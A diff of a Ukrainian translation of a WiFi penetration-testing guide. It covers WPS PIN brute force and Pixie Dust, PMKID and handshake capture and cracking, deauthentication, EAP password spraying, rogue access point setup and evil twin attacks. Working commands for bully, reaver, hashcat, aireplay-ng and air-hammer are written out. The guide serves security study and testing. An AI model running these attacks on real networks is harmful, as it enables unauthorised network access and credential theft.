Отримавши WPS PIN за допомогою інструментів, таких як Bully або Reaver, атакуючий може вивести WPA/WPA2 PSK, забезпечуючи **постійний доступ до мережі**.
|
Отримавши WPS PIN за допомогою інструментів, таких як Bully або Reaver, атакуючий може вивести WPA/WPA2 PSK, забезпечуючи **постійний доступ до мережі**.
|
||||||
```bash
|
```bash
|
||||||
@ -207,11 +207,11 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
|||||||
Цей вдосконалений підхід націлений на WPS PIN, використовуючи відомі вразливості:
|
Цей вдосконалений підхід націлений на WPS PIN, використовуючи відомі вразливості:
|
||||||
|
|
||||||
1. **Попередньо виявлені PIN-коди**: Використовуйте базу даних відомих PIN-кодів, пов'язаних з конкретними виробниками, які відомі використанням однакових WPS PIN-кодів. Ця база даних корелює перші три октети MAC-адрес з ймовірними PIN-кодами для цих виробників.
|
1. **Попередньо виявлені PIN-коди**: Використовуйте базу даних відомих PIN-кодів, пов'язаних з конкретними виробниками, які відомі використанням однакових WPS PIN-кодів. Ця база даних корелює перші три октети MAC-адрес з ймовірними PIN-кодами для цих виробників.
|
||||||
2. **Алгоритми генерації PIN-кодів**: Використовуйте алгоритми, такі як ComputePIN та EasyBox, які обчислюють WPS PIN-коди на основі MAC-адреси AP. Алгоритм Arcadyan додатково вимагає ідентифікатор пристрою, що додає рівень до процесу генерації PIN-коду.
|
2. **Алгоритми генерації PIN-кодів**: Використовуйте алгоритми, такі як ComputePIN та EasyBox, які обчислюють WPS PIN-коди на основі MAC-адреси AP. Алгоритм Arcadyan додатково вимагає ідентифікатор пристрою, що додає додатковий рівень до процесу генерації PIN-коду.
|
||||||
|
|
||||||
### Атака WPS Pixie Dust
|
### Атака WPS Pixie Dust
|
||||||
|
|
||||||
**Домінік Бонгард** виявив недолік у деяких точках доступу (AP) щодо створення секретних кодів, відомих як **nonce** (**E-S1** та **E-S2**). Якщо ці nonce можна вгадати, зламати WPS PIN AP стає легко. AP розкриває PIN у спеціальному коді (хеш), щоб довести, що він легітимний, а не підроблений (незаконний) AP. Ці nonce по суті є "ключами" для відкриття "сейфа", що містить WPS PIN. Більше про це можна знайти [тут](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
|
**Домінік Бонгард** виявив недолік у деяких точках доступу (AP) щодо створення секретних кодів, відомих як **nonce** (**E-S1** та **E-S2**). Якщо ці nonce можна вгадати, зламати WPS PIN AP стає легко. AP розкриває PIN у спеціальному коді (хеші), щоб довести, що він легітимний, а не фальшивий (незаконний) AP. Ці nonce по суті є "ключами" для відкриття "сейфа", що містить WPS PIN. Більше про це можна знайти [тут](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
|
||||||
|
|
||||||
Простими словами, проблема в тому, що деякі AP не використовували достатньо випадкові ключі для шифрування PIN-коду під час процесу підключення. Це робить PIN вразливим до вгадування ззовні мережі (офлайн брутфорс атака).
|
Простими словами, проблема в тому, що деякі AP не використовували достатньо випадкові ключі для шифрування PIN-коду під час процесу підключення. Це робить PIN вразливим до вгадування ззовні мережі (офлайн брутфорс атака).
|
||||||
```bash
|
```bash
|
||||||
@ -224,7 +224,7 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
|||||||
```
|
```
|
||||||
### Null Pin attack
|
### Null Pin attack
|
||||||
|
|
||||||
Деякі погано спроектовані системи навіть дозволяють **Null PIN** (порожній або неіснуючий PIN) надавати доступ, що є досить незвичайним. Інструмент **Reaver** здатний перевіряти цю вразливість, на відміну від **Bully**.
|
Деякі погано спроектовані системи навіть дозволяють **Null PIN** (порожній або неіснуючий PIN) надавати доступ, що є досить незвичним. Інструмент **Reaver** здатний перевіряти цю вразливість, на відміну від **Bully**.
|
||||||
```bash
|
```bash
|
||||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
||||||
```
|
```
|
||||||
@ -237,7 +237,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
|||||||
- 5 і 6 дозволяють спробувати **ваш власний PIN** (якщо у вас є)
|
- 5 і 6 дозволяють спробувати **ваш власний PIN** (якщо у вас є)
|
||||||
- 7 і 8 виконують **атаку Pixie Dust**
|
- 7 і 8 виконують **атаку Pixie Dust**
|
||||||
- 13 дозволяє протестувати **NULL PIN**
|
- 13 дозволяє протестувати **NULL PIN**
|
||||||
- 11 і 12 **збирають PIN-коди, пов'язані з вибраним AP з доступних баз даних** і **генерують** можливі **PIN-коди** за допомогою: ComputePIN, EasyBox і, за бажанням, Arcadyan (рекомендується, чому б і ні?)
|
- 11 і 12 **збирають PIN-коди, пов'язані з вибраною AP з доступних баз даних** і **генерують** можливі **PIN-коди** за допомогою: ComputePIN, EasyBox і, за бажанням, Arcadyan (рекомендується, чому б і ні?)
|
||||||
- 9 і 10 протестують **кожен можливий PIN**
|
- 9 і 10 протестують **кожен можливий PIN**
|
||||||
|
|
||||||
## **WEP**
|
## **WEP**
|
||||||
@ -254,7 +254,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
|||||||
|
|
||||||
### PMKID
|
### PMKID
|
||||||
|
|
||||||
У 2018 році **hashcat** [виявив](https://hashcat.net/forum/thread-7717.html) новий метод атаки, унікальний тим, що йому потрібен **лише один пакет** і не вимагає, щоб будь-які клієнти були підключені до цільового AP—лише взаємодія між атакуючим і AP.
|
У 2018 році **hashcat** [виявив](https://hashcat.net/forum/thread-7717.html) новий метод атаки, унікальний тим, що йому потрібен **лише один пакет** і не вимагає, щоб будь-які клієнти були підключені до цільової AP — лише взаємодія між атакуючим і AP.
|
||||||
|
|
||||||
Багато сучасних маршрутизаторів додають **додаткове поле** до **першого EAPOL** кадру під час асоціації, відоме як `Robust Security Network`. Це включає `PMKID`.
|
Багато сучасних маршрутизаторів додають **додаткове поле** до **першого EAPOL** кадру під час асоціації, відоме як `Robust Security Network`. Це включає `PMKID`.
|
||||||
|
|
||||||
@ -262,7 +262,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
|||||||
```bash
|
```bash
|
||||||
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||||||
```
|
```
|
||||||
Враховуючи, що "PMK Name" є постійним, ми знаємо BSSID точки доступу та станції, а `PMK` ідентичний тому, що з повного 4-стороннього рукостискання, **hashcat** може використати цю інформацію для злому PSK та відновлення пароля!
|
Враховуючи, що "PMK Name" є постійним, ми знаємо BSSID точки доступу та станції, а `PMK` ідентичний тому, що з повного 4-етапного рукостискання, **hashcat** може використати цю інформацію для злому PSK та відновлення пароля!
|
||||||
|
|
||||||
Щоб **зібрати** цю інформацію та **брутфорсити** локально пароль, ви можете зробити:
|
Щоб **зібрати** цю інформацію та **брутфорсити** локально пароль, ви можете зробити:
|
||||||
```bash
|
```bash
|
||||||
@ -283,9 +283,9 @@ hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
|||||||
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
||||||
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
||||||
```
|
```
|
||||||
Зверніть увагу, що формат правильного хешу містить **4 частини**, наприклад: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`. Якщо ваш **лише** містить **3 частини**, то це **недійсно** (захоплення PMKID не було дійсним).
|
Зверніть увагу, що формат правильного хешу містить **4 частини**, наприклад: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`. Якщо ваш **лише** містить **3 частини**, то він **недійсний** (захоплення PMKID не було дійсним).
|
||||||
|
|
||||||
Зверніть увагу, що `hcxdumptool` **також захоплює рукопашні з'єднання** (щось подібне з'явиться: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Ви можете **перетворити** **рукопашні з'єднання** у формат **hashcat**/**john** за допомогою `cap2hccapx`.
|
Зверніть увагу, що `hcxdumptool` **також захоплює рукопашні атаки** (щось подібне з'явиться: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Ви можете **перетворити** **рукопашні атаки** у формат **hashcat**/**john**, використовуючи `cap2hccapx`.
|
||||||
```bash
|
```bash
|
||||||
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
|
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
|
||||||
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
|
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
|
||||||
@ -293,24 +293,24 @@ hccap2john pmkid.hccapx > handshake.john
|
|||||||
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
||||||
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
||||||
```
|
```
|
||||||
_Я помітив, що деякі захоплені хендшейки за допомогою цього інструменту не могли бути зламані, навіть знаючи правильний пароль. Я рекомендую також захоплювати хендшейки традиційним способом, якщо це можливо, або захопити кілька з них за допомогою цього інструменту._
|
_Я помітив, що деякі хендшейки, захоплені за допомогою цього інструменту, не могли бути зламані, навіть знаючи правильний пароль. Я рекомендую також захоплювати хендшейки традиційним способом, якщо це можливо, або захопити кілька з них за допомогою цього інструменту._
|
||||||
|
|
||||||
### Захоплення хендшейка
|
### Захоплення хендшейків
|
||||||
|
|
||||||
Атака на **WPA/WPA2** мережі може бути виконана шляхом захоплення **хендшейка** та спроби **зламати** пароль **офлайн**. Цей процес включає моніторинг зв'язку конкретної мережі та **BSSID** на певному **каналі**. Ось спрощений посібник:
|
Атака на **WPA/WPA2** мережі може бути виконана шляхом захоплення **хендшейка** та спроби **зламати** пароль **офлайн**. Цей процес включає моніторинг комунікації конкретної мережі та **BSSID** на певному **каналі**. Ось спрощений посібник:
|
||||||
|
|
||||||
1. Визначте **BSSID**, **канал** та **підключеного клієнта** цільової мережі.
|
1. Визначте **BSSID**, **канал** та **підключеного клієнта** цільової мережі.
|
||||||
2. Використовуйте `airodump-ng` для моніторингу мережевого трафіку на вказаному каналі та BSSID, сподіваючись захопити хендшейк. Команда виглядатиме так:
|
2. Використовуйте `airodump-ng` для моніторингу мережевого трафіку на вказаному каналі та BSSID, сподіваючись захопити хендшейк. Команда виглядатиме так:
|
||||||
```bash
|
```bash
|
||||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||||
```
|
```
|
||||||
3. Щоб збільшити шанси на захоплення хендшейка, тимчасово відключіть клієнта від мережі, щоб примусити його до повторної аутентифікації. Це можна зробити за допомогою команди `aireplay-ng`, яка надсилає пакети деаутентифікації клієнту:
|
3. Щоб збільшити шанси на захоплення хендшейку, тимчасово відключіть клієнта від мережі, щоб примусити його до повторної аутентифікації. Це можна зробити за допомогою команди `aireplay-ng`, яка надсилає пакети деаутентифікації клієнту:
|
||||||
```bash
|
```bash
|
||||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
||||||
```
|
```
|
||||||
_Зверніть увагу, що оскільки клієнт був деаутентифікований, він може спробувати підключитися до іншої AP або, в інших випадках, до іншої мережі._
|
_Зверніть увагу, що оскільки клієнт був деаутентифікований, він може спробувати підключитися до іншої AP або, в інших випадках, до іншої мережі._
|
||||||
|
|
||||||
Як тільки в `airodump-ng` з'являється деяка інформація про хендшейк, це означає, що хендшейк був захоплений, і ви можете припинити прослуховування:
|
Як тільки в `airodump-ng` з'являється деяка інформація про хендшейк, це означає, що хендшейк був захоплений, і ви можете зупинити прослуховування:
|
||||||
|
|
||||||
 (1).png>)
|
 (1).png>)
|
||||||
|
|
||||||
@ -346,7 +346,7 @@ pyrit -r psk-01.cap analyze
|
|||||||
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
||||||
```
|
```
|
||||||
1. **EAP-GTC (Generic Token Card)**:
|
1. **EAP-GTC (Generic Token Card)**:
|
||||||
- Цей метод підтримує апаратні токени та одноразові паролі в рамках EAP-PEAP. На відміну від MSCHAPv2, він не використовує виклик від партнера і надсилає паролі у відкритому вигляді до точки доступу, що створює ризик атак з пониженням рівня безпеки.
|
- Цей метод підтримує апаратні токени та одноразові паролі в рамках EAP-PEAP. На відміну від MSCHAPv2, він не використовує виклик від партнера і надсилає паролі у відкритому вигляді до точки доступу, що створює ризик атак на зниження безпеки.
|
||||||
2. **EAP-MD5 (Message Digest 5)**:
|
2. **EAP-MD5 (Message Digest 5)**:
|
||||||
- Включає надсилання MD5 хешу пароля з клієнта. Це **не рекомендується** через вразливість до атак словником, відсутність автентифікації сервера та неможливість генерувати специфічні для сесії WEP ключі.
|
- Включає надсилання MD5 хешу пароля з клієнта. Це **не рекомендується** через вразливість до атак словником, відсутність автентифікації сервера та неможливість генерувати специфічні для сесії WEP ключі.
|
||||||
3. **EAP-TLS (Transport Layer Security)**:
|
3. **EAP-TLS (Transport Layer Security)**:
|
||||||
@ -354,7 +354,7 @@ pyrit -r psk-01.cap analyze
|
|||||||
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
|
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
|
||||||
- Забезпечує взаємну автентифікацію через зашифрований тунель, а також метод для отримання динамічних WEP ключів для кожного користувача та сесії. Він вимагає лише серверних сертифікатів, а клієнти використовують облікові дані.
|
- Забезпечує взаємну автентифікацію через зашифрований тунель, а також метод для отримання динамічних WEP ключів для кожного користувача та сесії. Він вимагає лише серверних сертифікатів, а клієнти використовують облікові дані.
|
||||||
5. **PEAP (Protected Extensible Authentication Protocol)**:
|
5. **PEAP (Protected Extensible Authentication Protocol)**:
|
||||||
- Функціонує подібно до EAP, створюючи TLS тунель для захищеної комунікації. Він дозволяє використовувати слабші протоколи автентифікації поверх EAP завдяки захисту, який надає тунель.
|
- Функціонує подібно до EAP, створюючи TLS тунель для захищеної комунікації. Це дозволяє використовувати слабші протоколи автентифікації поверх EAP завдяки захисту, який надає тунель.
|
||||||
- **PEAP-MSCHAPv2**: Часто називається PEAP, він поєднує вразливий механізм виклику/відповіді MSCHAPv2 з захисним TLS тунелем.
|
- **PEAP-MSCHAPv2**: Часто називається PEAP, він поєднує вразливий механізм виклику/відповіді MSCHAPv2 з захисним TLS тунелем.
|
||||||
- **PEAP-EAP-TLS (або PEAP-TLS)**: Подібно до EAP-TLS, але ініціює TLS тунель перед обміном сертифікатами, пропонуючи додатковий рівень безпеки.
|
- **PEAP-EAP-TLS (або PEAP-TLS)**: Подібно до EAP-TLS, але ініціює TLS тунель перед обміном сертифікатами, пропонуючи додатковий рівень безпеки.
|
||||||
|
|
||||||
@ -364,32 +364,32 @@ pyrit -r psk-01.cap analyze
|
|||||||
|
|
||||||
Читаючи [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), виглядає так, що якщо ви використовуєте **EAP**, то **"Identity"** **повідомлення** повинні бути **підтримувані**, і **ім'я користувача** буде надіслано у **відкритому** вигляді в **"Response Identity"** повідомленнях.
|
Читаючи [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), виглядає так, що якщо ви використовуєте **EAP**, то **"Identity"** **повідомлення** повинні бути **підтримувані**, і **ім'я користувача** буде надіслано у **відкритому** вигляді в **"Response Identity"** повідомленнях.
|
||||||
|
|
||||||
Навіть використовуючи один з найбільш безпечних методів автентифікації: **PEAP-EAP-TLS**, можливо **захопити ім'я користувача, надіслане в протоколі EAP**. Для цього **захопіть автентифікаційне спілкування** (запустіть `airodump-ng` всередині каналу та `wireshark` на тому ж інтерфейсі) і відфільтруйте пакети за `eapol`.\
|
Навіть використовуючи один з найбільш безпечних методів автентифікації: **PEAP-EAP-TLS**, можливо **захопити ім'я користувача, надіслане в протоколі EAP**. Для цього **захопіть автентифікаційне спілкування** (запустіть `airodump-ng` всередині каналу та `wireshark` на тому ж інтерфейсі) і фільтруйте пакети за `eapol`.\
|
||||||
У пакеті "**Response, Identity**" з'явиться **ім'я користувача** клієнта.
|
У пакеті "**Response, Identity**" з'явиться **ім'я користувача** клієнта.
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Анонімні ідентичності
|
### Анонімні ідентичності
|
||||||
|
|
||||||
Приховування ідентичності підтримується як EAP-PEAP, так і EAP-TTLS. У контексті WiFi мережі запит EAP-Identity зазвичай ініціюється точкою доступу (AP) під час процесу асоціації. Щоб забезпечити захист анонімності користувача, відповідь від EAP клієнта на пристрої користувача містить лише необхідну інформацію, потрібну для початкового RADIUS сервера для обробки запиту. Ця концепція ілюструється через наступні сценарії:
|
Приховування ідентичності підтримується як EAP-PEAP, так і EAP-TTLS. У контексті WiFi мережі запит EAP-Identity зазвичай ініціюється точкою доступу (AP) під час процесу асоціації. Щоб забезпечити захист анонімності користувача, відповідь від EAP клієнта на пристрої користувача містить лише основну інформацію, необхідну для початкового RADIUS сервера для обробки запиту. Ця концепція ілюструється через наступні сценарії:
|
||||||
|
|
||||||
- EAP-Identity = анонімний
|
- EAP-Identity = анонімний
|
||||||
- У цьому сценарії всі користувачі використовують псевдонім "анонімний" як свій ідентифікатор. Початковий RADIUS сервер функціонує як EAP-PEAP або EAP-TTLS сервер, відповідальний за управління серверною стороною протоколу PEAP або TTLS. Внутрішній (захищений) метод автентифікації потім обробляється локально або делегується віддаленому (домашньому) RADIUS серверу.
|
- У цьому сценарії всі користувачі використовують псевдонім "анонімний" як свій ідентифікатор. Початковий RADIUS сервер функціонує як EAP-PEAP або EAP-TTLS сервер, відповідальний за управління серверною стороною протоколу PEAP або TTLS. Внутрішній (захищений) метод автентифікації потім обробляється локально або делегується віддаленому (домашньому) RADIUS серверу.
|
||||||
- EAP-Identity = анонімний@realm_x
|
- EAP-Identity = анонімний@realm_x
|
||||||
- У цій ситуації користувачі з різних доменів приховують свої ідентичності, вказуючи на свої відповідні домени. Це дозволяє початковому RADIUS серверу проксувати запити EAP-PEAP або EAP-TTLS до RADIUS серверів у їхніх домашніх доменах, які діють як сервер PEAP або TTLS. Початковий RADIUS сервер працює виключно як RADIUS релейний вузол.
|
- У цій ситуації користувачі з різних доменів приховують свої ідентичності, вказуючи свої відповідні домени. Це дозволяє початковому RADIUS серверу проксувати запити EAP-PEAP або EAP-TTLS до RADIUS серверів у їхніх домашніх доменах, які діють як сервери PEAP або TTLS. Початковий RADIUS сервер функціонує виключно як RADIUS релейний вузол.
|
||||||
- Альтернативно, початковий RADIUS сервер може функціонувати як EAP-PEAP або EAP-TTLS сервер і або обробляти захищений метод автентифікації, або пересилати його на інший сервер. Цей варіант полегшує налаштування різних політик для різних доменів.
|
- Альтернативно, початковий RADIUS сервер може функціонувати як EAP-PEAP або EAP-TTLS сервер і або обробляти захищений метод автентифікації, або пересилати його на інший сервер. Цей варіант полегшує налаштування різних політик для різних доменів.
|
||||||
|
|
||||||
У EAP-PEAP, як тільки TLS тунель встановлено між PEAP сервером і PEAP клієнтом, PEAP сервер ініціює запит EAP-Identity і передає його через TLS тунель. Клієнт відповідає на цей другий запит EAP-Identity, надсилаючи відповідь EAP-Identity, що містить справжню ідентичність користувача через зашифрований тунель. Цей підхід ефективно запобігає розкриттю справжньої ідентичності користувача будь-кому, хто підслуховує трафік 802.11.
|
У EAP-PEAP, як тільки TLS тунель встановлено між PEAP сервером і PEAP клієнтом, PEAP сервер ініціює запит EAP-Identity і передає його через TLS тунель. Клієнт відповідає на цей другий запит EAP-Identity, надсилаючи відповідь EAP-Identity, що містить справжню ідентичність користувача через зашифрований тунель. Цей підхід ефективно запобігає розкриттю справжньої ідентичності користувача будь-кому, хто підслуховує трафік 802.11.
|
||||||
|
|
||||||
EAP-TTLS слідує трохи іншій процедурі. З EAP-TTLS клієнт зазвичай автентифікується за допомогою PAP або CHAP, захищених TLS тунелем. У цьому випадку клієнт включає атрибут User-Name і або атрибут Password, або атрибут CHAP-Password у початкове TLS повідомлення, надіслане після встановлення тунелю.
|
EAP-TTLS слідує трохи іншій процедурі. З EAP-TTLS клієнт зазвичай автентифікується за допомогою PAP або CHAP, захищених TLS тунелем. У цьому випадку клієнт включає атрибут User-Name і або атрибут Password, або атрибут CHAP-Password у початкове TLS повідомлення, надіслане після встановлення тунелю.
|
||||||
|
|
||||||
Незалежно від вибраного протоколу, сервер PEAP/TTLS отримує знання про справжню ідентичність користувача після встановлення TLS тунелю. Справжня ідентичність може бути представлена як user@realm або просто user. Якщо сервер PEAP/TTLS також відповідає за автентифікацію користувача, він тепер має ідентичність користувача і продовжує з методом автентифікації, захищеним TLS тунелем. Альтернативно, сервер PEAP/TTLS може переслати новий RADIUS запит на домашній RADIUS сервер користувача. Цей новий RADIUS запит не містить шару протоколу PEAP або TTLS. У випадках, коли захищений метод автентифікації є EAP, внутрішні EAP повідомлення передаються на домашній RADIUS сервер без обгортки EAP-PEAP або EAP-TTLS. Атрибут User-Name вихідного RADIUS повідомлення містить справжню ідентичність користувача, замінюючи анонімне User-Name з вхідного RADIUS запиту. Коли захищений метод автентифікації є PAP або CHAP (підтримується лише TTLS), атрибут User-Name та інші атрибути автентифікації, витягнуті з TLS корисного навантаження, замінюються в вихідному RADIUS повідомленні, витісняючи анонімний User-Name та атрибути TTLS EAP-Message, знайдені у вхідному RADIUS запиті.
|
Незалежно від вибраного протоколу, сервер PEAP/TTLS отримує знання про справжню ідентичність користувача після встановлення TLS тунелю. Справжня ідентичність може бути представлена як user@realm або просто user. Якщо сервер PEAP/TTLS також відповідає за автентифікацію користувача, він тепер має ідентичність користувача і продовжує з методом автентифікації, захищеним TLS тунелем. Альтернативно, сервер PEAP/TTLS може переслати новий RADIUS запит на домашній RADIUS сервер користувача. Цей новий RADIUS запит не містить шару протоколу PEAP або TTLS. У випадках, коли захищений метод автентифікації є EAP, внутрішні EAP повідомлення передаються на домашній RADIUS сервер без обгортки EAP-PEAP або EAP-TTLS. Атрибут User-Name вихідного RADIUS повідомлення містить справжню ідентичність користувача, замінюючи анонімне User-Name з вхідного RADIUS запиту. Коли захищений метод автентифікації є PAP або CHAP (підтримується лише TTLS), атрибут User-Name та інші атрибути автентифікації, витягнуті з TLS корисного навантаження, замінюються у вихідному RADIUS повідомленні, витісняючи анонімний User-Name та атрибути TTLS EAP-Message, знайдені у вхідному RADIUS запиті.
|
||||||
|
|
||||||
Для отримання додаткової інформації перегляньте [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
|
Для отримання додаткової інформації перевірте [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
|
||||||
|
|
||||||
### EAP-Брутфорс (password spray)
|
### EAP-Bruteforce (password spray)
|
||||||
|
|
||||||
Якщо очікується, що клієнт використовуватиме **ім'я користувача та пароль** (зверніть увагу, що **EAP-TLS не буде дійсним** у цьому випадку), тоді ви можете спробувати отримати **список** **імен користувачів** (див. наступну частину) та **паролів** і спробувати **брутфорсити** доступ, використовуючи [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
|
Якщо очікується, що клієнт використовуватиме **ім'я користувача та пароль** (зверніть увагу, що **EAP-TLS не буде дійсним** у цьому випадку), тоді ви можете спробувати отримати **список** **імен користувачів** (див. наступну частину) та **паролів** і спробувати **зламати** доступ, використовуючи [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
|
||||||
```bash
|
```bash
|
||||||
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
||||||
```
|
```
|
||||||
@ -405,13 +405,13 @@ EAP-TTLS слідує трохи іншій процедурі. З EAP-TTLS кл
|
|||||||
|
|
||||||
### Вибір мережі та роумінг
|
### Вибір мережі та роумінг
|
||||||
|
|
||||||
- Протокол 802.11 визначає, як станція приєднується до Розширеного Сервісного Набору (ESS), але не вказує критерії для вибору ESS або точки доступу (AP) в його межах.
|
- Протокол 802.11 визначає, як станція приєднується до Розширеного Набору Послуг (ESS), але не вказує критерії для вибору ESS або точки доступу (AP) в його межах.
|
||||||
- Станції можуть переміщатися між AP, які мають однаковий ESSID, підтримуючи з'єднання в межах будівлі або території.
|
- Станції можуть переміщатися між AP, які мають однаковий ESSID, підтримуючи з'єднання в межах будівлі або території.
|
||||||
- Протокол вимагає аутентифікації станції до ESS, але не зобов'язує AP аутентифікувати станцію.
|
- Протокол вимагає аутентифікації станції до ESS, але не зобов'язує AP аутентифікувати станцію.
|
||||||
|
|
||||||
### Списки уподобаних мереж (PNL)
|
### Списки уподобаних мереж (PNL)
|
||||||
|
|
||||||
- Станції зберігають ESSID кожної бездротової мережі, до якої вони підключаються, у своєму Списку Уподобаних Мереж (PNL), разом із специфічними деталями конфігурації мережі.
|
- Станції зберігають ESSID кожної бездротової мережі, до якої вони підключаються, у своєму Списку Уподобаних Мереж (PNL), разом із специфічними для мережі конфігураційними деталями.
|
||||||
- PNL використовується для автоматичного підключення до відомих мереж, покращуючи досвід користувача шляхом спрощення процесу підключення.
|
- PNL використовується для автоматичного підключення до відомих мереж, покращуючи досвід користувача шляхом спрощення процесу підключення.
|
||||||
|
|
||||||
### Пасивне сканування
|
### Пасивне сканування
|
||||||
@ -430,7 +430,7 @@ EAP-TTLS слідує трохи іншій процедурі. З EAP-TTLS кл
|
|||||||
|
|
||||||
Перед тим, як пояснити, як виконувати більш складні атаки, буде пояснено **як** просто **створити** **AP** і **перенаправити** його **трафік** на інтерфейс, підключений **до** **Інтернету**.
|
Перед тим, як пояснити, як виконувати більш складні атаки, буде пояснено **як** просто **створити** **AP** і **перенаправити** його **трафік** на інтерфейс, підключений **до** **Інтернету**.
|
||||||
|
|
||||||
Використовуючи `ifconfig -a`, перевірте, що wlan інтерфейс для створення AP та інтерфейс, підключений до Інтернету, присутні.
|
Використовуючи `ifconfig -a`, перевірте, що інтерфейс wlan для створення AP та інтерфейс, підключений до Інтернету, присутні.
|
||||||
|
|
||||||
### DHCP & DNS
|
### DHCP & DNS
|
||||||
```bash
|
```bash
|
||||||
@ -494,17 +494,17 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
|||||||
```
|
```
|
||||||
## Evil Twin
|
## Evil Twin
|
||||||
|
|
||||||
Атака "злий близнюк" використовує спосіб, яким клієнти WiFi розпізнають мережі, в основному покладаючись на ім'я мережі (ESSID) без необхідності автентифікації базової станції (точки доступу) для клієнта. Ключові моменти включають:
|
Атака "злий близнюк" використовує спосіб, яким клієнти WiFi розпізнають мережі, в основному покладаючись на ім'я мережі (ESSID) без вимоги до базової станції (точки доступу) автентифікувати себе для клієнта. Ключові моменти включають:
|
||||||
|
|
||||||
- **Складність у розрізненні**: Пристрої мають труднощі у відрізненні легітимних і зловмисних точок доступу, коли вони мають однаковий ESSID і тип шифрування. У реальних мережах часто використовують кілька точок доступу з однаковим ESSID для безшовного розширення покриття.
|
- **Складність у розрізненні**: Пристрої мають труднощі у відрізненні легітимних і підроблених точок доступу, коли вони мають однаковий ESSID і тип шифрування. У реальних мережах часто використовують кілька точок доступу з однаковим ESSID для безшовного розширення покриття.
|
||||||
- **Роумінг клієнтів і маніпуляція з'єднанням**: Протокол 802.11 дозволяє пристроям переміщатися між точками доступу в межах одного ESS. Зловмисники можуть скористатися цим, спонукаючи пристрій відключитися від його поточної базової станції та підключитися до зловмисної. Це можна досягти, запропонувавши сильніший сигнал або порушивши з'єднання з легітимною точкою доступу за допомогою методів, таких як пакети деавтентифікації або джемінг.
|
- **Переміщення клієнтів і маніпуляція з'єднанням**: Протокол 802.11 дозволяє пристроям переміщатися між точками доступу в межах одного ESS. Зловмисники можуть скористатися цим, заманюючи пристрій відключитися від його поточної базової станції та підключитися до підробленої. Це можна досягти, запропонувавши сильніший сигнал або порушивши з'єднання з легітимною точкою доступу за допомогою методів, таких як пакети деавтентифікації або джемінг.
|
||||||
- **Виклики в реалізації**: Успішне виконання атаки "злий близнюк" в умовах з кількома, добре розташованими точками доступу може бути складним. Деавтентифікація однієї легітимної точки доступу часто призводить до того, що пристрій підключається до іншої легітимної точки доступу, якщо зловмисник не може деавтентифікувати всі сусідні точки доступу або стратегічно розмістити зловмисну точку доступу.
|
- **Виклики в реалізації**: Успішне виконання атаки "злий близнюк" в умовах з кількома, добре розташованими точками доступу може бути складним. Деавтентифікація однієї легітимної точки доступу часто призводить до того, що пристрій підключається до іншої легітимної точки доступу, якщо зловмисник не може деавтентифікувати всі сусідні точки доступу або стратегічно розмістити підроблену точку доступу.
|
||||||
|
|
||||||
